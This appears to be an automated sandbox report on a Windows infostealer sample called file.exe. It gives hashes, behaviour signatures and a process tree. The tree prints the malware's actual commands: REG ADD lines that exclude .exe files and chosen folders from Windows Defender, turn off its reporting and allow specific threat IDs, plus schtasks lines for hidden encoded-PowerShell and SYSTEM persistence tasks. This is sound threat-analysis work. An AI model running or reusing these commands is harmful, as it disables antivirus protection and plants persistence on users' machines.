Overview

overview

10

Static

static

1

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

8

Analysis

  • max time kernel
    93s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/02/2023, 20:12 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    file.exe

  • Size

    7.2MB

  • MD5

    ad8bf30d0f862756731909ec535d2145

  • SHA1

    65dbe6948e2af2c617772c6bd97f9c01d433eee7

  • SHA256

    fa83e6a69787cb5d3a59301bd0913bd0cbaf222c975292f659dec2fd5ddb25d1

  • SHA512

    4e1d358a8c39eac62e173b2b0eaee19abf76ceba85027f84443a3b3a96b249d5beba29f3caa09407535d2ed33f67e7bdbd70e7f0ffdaf7cbd5f0c6d92eaacaf3

  • SSDEEP

    196608:91OubmQlOuJCY+MfS6cYaeLy3nMS992Dt2iZKRWo4t:3OEdlLJrrtaJ3MSXot2OKczt

Score
8/10
discoveryspywarestealer

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2372
    • C:\Users\Admin\AppData\Local\Temp\7zS77D4.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3676
      • C:\Users\Admin\AppData\Local\Temp\7zS7EBA.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:1872
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4620
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1208
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:4332
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:3540
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3080
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1460
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:4524
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:3968
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gDyBhRSJF" /SC once /ST 03:33:15 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:232
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gDyBhRSJF"
                  4⤵
                    PID:4308
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gDyBhRSJF"
                    4⤵
                      PID:1432
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "boytPmuAkKgmiEZYSe" /SC once /ST 21:13:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\ViDsktp.exe\" X6 /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:3316
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1904
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:4752
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                  1⤵
                    PID:4360
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                    1⤵
                      PID:1468
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:3748
                      • C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\ViDsktp.exe
                        C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\ViDsktp.exe X6 /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:1760
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:1116
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1544
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:4620
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:2708
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:4552
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:208
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:2096
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:216
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:4356
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:3776
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:992
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:2188
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:1088
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:3788
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:4108
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:4672
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:3476
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:1904
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:580
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4776
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:4228
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:4516
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:4604
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:2196
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:1800
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:3408
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OKneYAAzclQU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OKneYAAzclQU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\eCbNXTSQanJlC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\eCbNXTSQanJlC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vcfECUarZbUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vcfECUarZbUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wRLQelouU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wRLQelouU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WoychCUlhHkYXpVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WoychCUlhHkYXpVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\UIFvrSrxAzeYKEuX\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\UIFvrSrxAzeYKEuX\" /t REG_DWORD /d 0 /reg:64;"
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:3824
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                              PID:3548
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                  PID:3584
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:808
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:2508
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:3732
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eCbNXTSQanJlC" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:3460
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eCbNXTSQanJlC" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:2568
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vcfECUarZbUn" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:4116
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vcfECUarZbUn" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:1532
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRLQelouU" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:4352
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRLQelouU" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:4848
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WoychCUlhHkYXpVB /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:4880
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WoychCUlhHkYXpVB /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:4280
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:3252
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:2348
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\UIFvrSrxAzeYKEuX /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:3952
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\UIFvrSrxAzeYKEuX /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:428
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "gvFYEdyWd" /SC once /ST 13:43:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
